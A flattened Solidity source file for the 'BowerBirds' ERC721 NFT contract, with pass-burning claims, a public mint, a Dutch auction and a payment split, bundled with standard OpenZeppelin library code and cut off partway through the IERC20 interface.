// SPDX-License-Identifier: GPL-3.0 /* Baushaus: https://www.baushaus.xyz/ */ pragma solidity ^0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "./interfaces/IBurnable.sol"; contract BowerBirds is ERC721Enumerable, Ownable, PaymentSplitter, ReentrancyGuard, Pausable { using Strings for uint256; string public baseURI; uint256 public cost = 0.15 ether; uint256 public OGIndex = 1001; uint256 public supply = 10101; uint256 public genesisIndex = 1; uint256 public totalGenesisClaimed = 0; uint256 public startingPrice; // wei uint256 public endingPrice; // wei uint256 public duration; // seconds uint256 public startedAt; // time uint256 public endedAt; // time bool locked = false; uint256 delta; uint256 ratio; IBurnable earlyBird; IBurnable publicMint; event Claimed(address, uint256); address[] private addressList = [ // dev wallet 0xbE7e905592a4de4a24B23953abAAa412Ab654c19, // owner wallet 0x2C8C89e2CB4f98929EC06568a21c3622cCfCFbB6 ]; uint[] private shareList = [10,90]; constructor( string memory _name, string memory _symbol, string memory _initBaseURI ) ERC721(_name, _symbol) PaymentSplitter( addressList, shareList ) { setBaseURI(_initBaseURI); pause(); } function _baseURI() internal view override returns (string memory) { return baseURI; } function adminMint(uint256 count) external nonReentrant onlyOwner { for(uint256 i = 0; i < count; i++) { _safeMint(msg.sender, genesisIndex + i); _safeMint(msg.sender, OGIndex + i); } } /** @dev Public pass holders receieve 1 genesis and 1 OG per pass */ function claim(uint256[] memory ids) external nonReentrant whenNotPaused { uint256 count = ids.length; require(count > 0, "cannot be Zero"); require(genesisIndex + count <= OGIndex, "Cannot exceeds supply"); require(OGIndex + count <= supply, "Cannot exceeds supply"); require(publicMint.balanceOf(msg.sender, 1) == count, "need to own pass specified"); for(uint256 i = 0; i < count; i++) { _safeMint(msg.sender, genesisIndex + i); _safeMint(msg.sender, OGIndex + i); } publicMint.burnBatch(msg.sender, ids, ids); genesisIndex += count; OGIndex += count; totalGenesisClaimed += count; emit Claimed(msg.sender, count * 2); } /** @dev Early pass holders receieve 1 genesis and 2 OGs per pass */ function earlyClaim(uint256[] memory ids) external nonReentrant whenNotPaused { uint256 count = ids.length; require(count > 0, "cannot be Zero"); require(genesisIndex + count <= OGIndex, "Cannot exceeds supply"); require(OGIndex + count <= supply, "Cannot exceeds supply"); require(earlyBird.balanceOf(msg.sender, 1) == count, "need to own pass specified"); for(uint256 i = 0; i < count; i++) { _safeMint(msg.sender, genesisIndex + i); } for(uint256 i = 0; i < count * 2; i++) { _safeMint(msg.sender, OGIndex + i); } earlyBird.burnBatch(msg.sender, ids, ids); genesisIndex += count; OGIndex += 2 * count; totalGenesisClaimed += count; emit Claimed(msg.sender, count * 2); } /** @dev public minting public are only allowed to mint the genesis collection and supply is sold out when OG collection begins */ function mint(uint256 count) external payable nonReentrant whenNotPaused { require(count > 0, "cannot be zero"); require(genesisIndex + count <= OGIndex, "Exceeds supply"); require(msg.value == cost * count, "Not enough eth"); for(uint256 i = 0; i < count; i++) { _safeMint(msg.sender, genesisIndex + i); } genesisIndex += count; } /** @dev Dutch Auction Price starts at a certain price and decreases at a regular rate */ function bid() external nonReentrant payable { require(getTime() >= startedAt, "Auction needs to start"); require(OGIndex + 1 <= supply, "Cannot exceeds supply"); uint256 price = getCurrentPrice(); require(msg.value == price, "Not enough ETH"); _safeMint(msg.sender, OGIndex); OGIndex++; } function getTime() public view virtual returns (uint256) { return block.timestamp; } function getCurrentPrice() public view returns (uint256) { require(startedAt > 0); if (getTime() >= endedAt) { return endingPrice; } else { uint256 secondsPassed = 0; secondsPassed = getTime() - startedAt; uint256 currentPortion = secondsPassed / duration; uint256 currentPrice = delta * currentPortion; return startingPrice - currentPrice; } } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: Nonexistent token"); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), ".json")) : ""; } function setAuction(uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _startedAt, uint256 _endedAt) external onlyOwner notLocked { require(!locked, "Locked"); startingPrice = _startingPrice; endingPrice = _endingPrice; duration = _duration; startedAt = _startedAt; endedAt = _endedAt; ratio = (endedAt - startedAt) / _duration; delta = (startingPrice - endingPrice) / ratio; } function setSupply(uint256 _supply) public onlyOwner { supply = _supply; } modifier notLocked() { require(!locked, "Locked"); _; } function setCost(uint256 _newCost) public onlyOwner notLocked { cost = _newCost; } function setGenesisIndex(uint256 _genesisIndex) public onlyOwner notLocked { genesisIndex = _genesisIndex; } function setBaseURI(string memory _newBaseURI) public onlyOwner notLocked { baseURI = _newBaseURI; } function pause() public whenNotPaused onlyOwner { _pause(); } function unpause() public whenPaused onlyOwner { _unpause(); } function setLocked() external onlyOwner { locked = true; } function setEarlyBird(IBurnable _earlyBird) external onlyOwner notLocked { earlyBird = _earlyBird; } function setPublicMint(IBurnable _publicMint) external onlyOwner notLocked { require(!locked, "Locked"); publicMint = _publicMint; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (finance/PaymentSplitter.sol) pragma solidity ^0.8.0; import "../token/ERC20/utils/SafeERC20.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + totalReleased(); uint256 payment = _pendingPayment(account, totalReceived, released(account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] += payment; _totalReleased += payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); uint256 payment = _pendingPayment(account, totalReceived, released(token, account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _erc20Released[token][account] += payment; _erc20TotalReleased[token] += payment; SafeERC20.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } pragma solidity ^0.8.4; interface IBurnable { function balanceOf(address account, uint256 id) external returns (uint256) ; function burn( address account, uint256 id, uint256 value ) external; function burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * 